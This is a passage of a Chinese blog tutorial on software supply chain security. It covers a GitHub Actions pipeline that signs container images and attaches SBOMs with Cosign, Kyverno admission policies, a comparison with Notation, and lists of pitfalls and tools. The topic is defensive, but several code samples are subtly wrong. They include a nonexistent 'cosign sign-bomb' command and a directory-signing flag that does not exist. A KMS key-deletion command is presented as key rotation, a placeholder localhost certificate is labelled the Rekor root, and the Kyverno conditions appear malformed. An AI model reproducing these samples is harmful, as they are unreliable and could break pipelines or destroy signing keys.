          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=ref,event=branch
            type=semver,pattern={{version}}
            type=semver,pattern={{major}}.{{minor}}
            type=sha,prefix={{branch}}-

      - name: Build and push Docker image
        id: build
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          # 将SBOM嵌入镜像元数据
          annotations: |
            org.opencontainers.image.sbom=${{ needs.sbom-scan.outputs.sbom-path }}

      - name: Download SBOM artifact
        uses: actions/download-artifact@v4
        with:
          name: sbom
          path: sbom

      - name: Attach SBOM to image
        run: |
          # 使用Cosign将SBOM附加到镜像
          cosign attach sbom \
            --sbom sbom/sbom.cdx.json \
            --type cyclonedx \
            ${{ steps.meta.outputs.tags }}

      - name: Sign image with Fulcio (Keyless Signing)
        run: |
          # 使用GitHub OIDC Token签名(无需长期密钥)
          cosign sign \
            --yes \
            --attachment sbom \
            ${IMAGE_DIGEST}
        env:
          IMAGE_DIGEST: ${{ steps.build.outputs.digest }}
          # GitHub Actions自动提供OIDC Token
          COSIGN_EXPERIMENTAL: "true"

      - name: Verify signature
        run: |
          # 验证刚刚创建的签名
          cosign verify \
            --certificate-identity "https://github.com/${{ github.repository }}/.github/workflows/ci-cd.yml@refs/heads/main" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            ${IMAGE_DIGEST}
        env:
          IMAGE_DIGEST: ${{ steps.build.outputs.digest }}

      - name: Rekor integration check
        run: |
          # 查询Rekor透明日志,确认签名已记录
          cosign triangulate ${IMAGE_DIGEST}
          # 输出Rekor Entry URL
          echo "🔍 Rekor Entry: https://search.sigstore.dev/?logIndex=$(cosign triangulate ${IMAGE_DIGEST} | jq -r '.LogIndex')"
        env:
          IMAGE_DIGEST: ${{ steps.build.outputs.digest }}

  # Job 3: 部署到Kubernetes(带准入验证)
  deploy:
    name: Deploy to Kubernetes
    needs: build-and-sign
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up kubectl
        uses: azure/setup-kubectl@v4

      - name: Configure kubectl
        run: |
          # 使用GitHub OIDC获取K8s凭证(避免长期密钥)
          # 假设配置了OIDC JWT认证
          echo "${{ secrets.KUBECONFIG }}" | base64 -d > kubeconfig
          export KUBECONFIG=kubeconfig

      - name: Pre-deployment verification
        run: |
          IMAGE_DIGEST="${{ needs.build-and-sign.outputs.image-digest }}"
          # 再次验证镜像签名(防御中间人攻击)
          cosign verify \
            --certificate-identity "https://github.com/${{ github.repository }}/.github/workflows/ci-cd.yml@refs/heads/main" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            "$IMAGE_DIGEST"

          # 检查SBOM是否存在
          cosign sbom "$IMAGE_DIGEST"

          echo "✅ All pre-deployment checks passed!"

      - name: Deploy to Kubernetes
        run: |
          IMAGE_TAG="${{ needs.build-and-sign.outputs.image-tag }}"
          # 更新Deployment中的镜像
          kubectl set image deployment/myapp myapp="$IMAGE_TAG" -n production

      - name: Verify deployment
        run: |
          # 等待Deployment rollout完成
          kubectl rollout status deployment/myapp -n production --timeout=5m

4.3 Kubernetes 策略执行

使用 Kyverno 验证镜像签名和SBOM:

yaml 复制代码
# 文件路径: k8s/policies/image-verification.yaml
# 版本: 1.0.0

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
  annotations:
    policies.kyverno.io/title: Verify Image Signature with Cosign
    policies.kyverno.io/category: Software Supply Chain Security
    policies.kyverno.io/severity: high
    policies.kyverno.io/subject: Pod
spec:
  validationFailureAction: enforce  # 拒绝不符合策略的资源
  background: true
  rules:
    - name: verify-signature
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/myorg/*"  # 仅验证本组织的镜像
          attestations:
            - type: https://cosign.sigstore.dev/attestation/v1
              conditions:
                - all:
                    - key: "{{ regexMatch('^https://github.com/myorg/.*@refs/heads/main', '' | signatureVerified(certificateIdentities[].issuer)) }}"
                      operator: Equals
                      value: "true"
          required: true
          verifyDigest: true
          # 信任Rekor的根证书
          roots: |
            -----BEGIN CERTIFICATE-----
            MIICpDCCAYwCCQCK1Y4xLsPJ8DANBgkqhkiG9w0BAQsFADAUMRIwEAYDVQQDDAls
            b2NhbGhvc3QwHhcNMjQwMTAxMDAwMDAwWhcNMjUwMTAxMDAwMDAwWjAUMRIwEAYD
            VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ
            ... (Rekor公钥)
            -----END CERTIFICATE-----
---
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-sbom
  annotations:
    policies.kyverno.io/title: Require SBOM Attestation
    policies.kyverno.io/category: Software Supply Chain Security
    policies.kyverno.io/severity: medium
spec:
  validationFailureAction: enforce
  background: true
  rules:
    - name: check-sbom-exists
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/myorg/*"
          attestations:
            - type: https://slsa.dev/provenance/v1
              conditions:
                - all:
                    - key: "{{ sbom }}"
                      operator: Any
                      # 检查SBOM是否包含CycloneDX或SPDX格式
                      value: "cyclonedx|spdx"
          required: true

4.4 工具对比:Cosign vs. Notation

功能 Cosign Notation
开发组织 Sigstore (Linux Foundation) Notary v2 (CNCF)
签名格式 Simple Signing (JSON) Notation v2 (OCI兼容)
密钥管理 本地/KMS/Vault/Fulcio 本地/KMS/Vault/外部CA
透明日志 ✅ 内置Rekor ❌ 需单独配置
身份绑定 ✅ Fulcio (OIDC) ✅ X.509证书
SBOM支持 ✅ cosign attach sbom ⚠️ 通过签名artifact
K8s集成 ✅ Kyverno/Policy Controller ✅ Notary v2 K8s插件
多架构支持 ✅ 原生支持 ✅ 通过OCI manifests
生态系统 更活跃(Sigstore生态) 更传统(Docker/Notary用户)

推荐选择

  • 新项目/云原生场景:选择 Cosign(生态更活跃,无密钥签名更安全)
  • 企业级/合规要求高:选择 Notation(更传统,支持企业CA集成)

五、最佳实践与常见陷阱

5.1 SBOM 管理清单

实践 描述 工具推荐
1. 自动生成 在CI/CD中自动生成SBOM Syft/Trivy
2. 多格式支持 同时生成SPDX和CycloneDX Syft (multi-format)
3. 版本控制 将SBOM提交到Git仓库 Git LFS
4. 签名验证 对SBOM进行签名并验证 Cosign
5. 定期更新 依赖更新后重新生成SBOM Dependabot + Renovate
6. 漏洞关联 将SBOM与漏洞数据库关联 Trivy/Grype + Dependency-Track
7. 许可证合规 检查许可证兼容性 FOSSA + SPDX Tools

5.2 签名策略矩阵

场景 推荐策略 理由
生产环境 KMS密钥 + Rekor透明日志 最高安全性,密钥不离开HSM
CI/CD环境 Fulcio无密钥签名 + OIDC 避免长期密钥泄露,基于身份
开发/测试 本地密钥文件 简单易用,但需密码保护
开源项目 Fulcio + GitHub OIDC 降低贡献者门槛,透明可审计
企业内部 企业CA + Notation 与现有PKI系统集成

5.3 常见陷阱与解决方案

陷阱1:仅签名镜像,不签名依赖

问题 :攻击者可替换未签名的依赖包(如 node_modulesvendor/

解决方案

bash 复制代码
# 签名所有依赖
cosign sign --recursive ./vendor
# 或使用SBOM签名
cosign sign-bomb sbom.spdx.json
陷阱2:忽略传递依赖

问题 :传递依赖可能包含恶意代码(如 event-stream 事件)

解决方案

bash 复制代码
# 使用Trivy扫描传递依赖
trivy fs --dependency-tree --format json .
# 检查输出中的"Transitive"字段
陷阱3:密钥轮转策略缺失

问题:密钥泄露后无法快速撤销

解决方案

bash 复制代码
# 设置密钥有效期(KMS)
aws kms schedule-key-deletion --key-id <KEY_ID> --pending-window-in-days 7

# 定期轮换密钥(CI/CD)
# 在GitHub Actions中添加定时任务
on:
  schedule:
    - cron: '0 0 1 * *'  # 每月1号轮换密钥
陷阱4:忽略Base镜像安全

问题:签名镜像但Base镜像未验证

解决方案

bash 复制代码
# 验证Base镜像签名
cosign verify alpine:3.19

# 在Dockerfile中引用已签名的Base镜像
FROM alpine:3.19@sha256:...  # 使用digest而非tag
陷阱5:缺少准入控制

问题:签名验证仅在CI中,运行时未强制

解决方案

yaml 复制代码
# Kyverno策略:拒绝未签名镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: reject-unsigned-images
spec:
  validationFailureAction: enforce
  rules:
    - name: verify-all-images
      match:
        any:
          - resources:
              kinds: [Pod]
      verifyImages:
        - imageReferences: ["*"]
          required: true

六、工具生态与资源推荐

6.1 核心工具集

工具 用途 语言 Star 推荐指数
Syft 生成SBOM Go 5.2k ⭐⭐⭐⭐⭐
Trivy 漏洞扫描 Go 21k ⭐⭐⭐⭐⭐
Cosign 容器/文件签名 Go 4.5k ⭐⭐⭐⭐⭐
Sigstore 完整签名生态 Go 4.8k ⭐⭐⭐⭐⭐
Kyverno K8s策略引擎 Go 5.1k ⭐⭐⭐⭐⭐
Grype 漏洞扫描 Go 4.3k ⭐⭐⭐⭐
Dependency-Track SBOM分析平台 Java 2.8k ⭐⭐⭐⭐
Notation OCI镜像签名 Go 1.2k ⭐⭐⭐⭐
Rekor 透明日志 Go 1.1k ⭐⭐⭐⭐⭐
Fulcio 代码签名证书 Go 842 ⭐⭐⭐⭐⭐

6.2 学习资源

  1. 官方文档

  2. 实战教程

  3. 攻击案例研究

七、总结与展望

软件供应链安全已从"最佳实践"演变为"必需品"。本文深入解析了SBOM和代码签名验证的核心技术,并通过Cosign/Syft源码分析展示了其实现原理。

关键要点回顾

  1. SBOM是透明度基石:通过CycloneDX/SPDX记录所有依赖,实现漏洞追溯和许可证合规
  2. 代码签名保证完整性:Cosign + Sigstore提供从签名到透明日志的端到端验证
  3. 身份优于密钥:Fulcio无密钥签名基于OIDC身份,避免长期密钥泄露风险
  4. 强制策略执行:Kyverno等准入控制器确保运行时验证,不仅依赖CI检查

未来趋势

  • SBOM成为监管要求:美国、欧盟已立法要求关键软件提供SBOM
  • SLSA标准普及:Google的SLSA(Supply-chain Levels for Software Artifacts)将成为供应链安全认证框架
  • AI辅助安全:大语言模型将用于依赖风险评估和异常检测

行动清单

  1. ✅ 在下一个CI/CD Pipeline中集成SBOM生成
  2. ✅ 使用Cosign对所有镜像进行签名验证
  3. ✅ 在Kubernetes中部署Kyverno策略强制验证
  4. ✅ 设置Trivy定期扫描依赖漏洞
  5. ✅ 将Rekor日志查询集成到事件响应流程

记住:安全不是产品,而是过程。软件供应链安全需要持续投入和全流程协作,从开发者、安全团队到运维人员,每个环节都至关重要。


参考资料

  1. NIST Software Supply Chain Security Guidance
  2. CISA Software Supply Chain Security Recommendations
  3. CNCF Software Supply Chain Best Practices

版权声明:本文为CSDN原创文章,转载请注明出处。文章中的代码示例基于开源项目Cosign/Syft的真实源码进行分析,遵循Apache 2.0许可证。

相关推荐
EasyGBS1 小时前
国标GB28181视频分析平台EasyGBS视频质量诊断为平安社区视频监控筑牢安全防线
人工智能·安全·音视频
哇哦9821 小时前
渗透安全(渗透防御)①
安全·防御·渗透防御
zs宝来了2 小时前
Falco 运行时安全:eBPF 与系统调用监控
安全·devsecops·云安全
m0_738120722 小时前
网络安全编程——Python编写Python编写基于UDP的主机发现工具(完结:解码ICMP头)
python·网络协议·安全·web安全·udp
胡楚昊2 小时前
openClaw CVE-2026-25253复现与简单分析
安全
哇哦9822 小时前
渗透安全(渗透防御)③
安全·https·渗透·dns·渗透防御
信创DevOps先锋2 小时前
企业级开源治理新选择:Gitee CodePecker SCA如何重塑软件供应链安全
安全·gitee·开源
csdn_aspnet2 小时前
如何保护您的 .NET Web API 免受常见安全威胁
安全·xss·csrf·.net core·cors
CV-杨帆3 小时前
EACL 2026 大模型安全相关论文整理
安全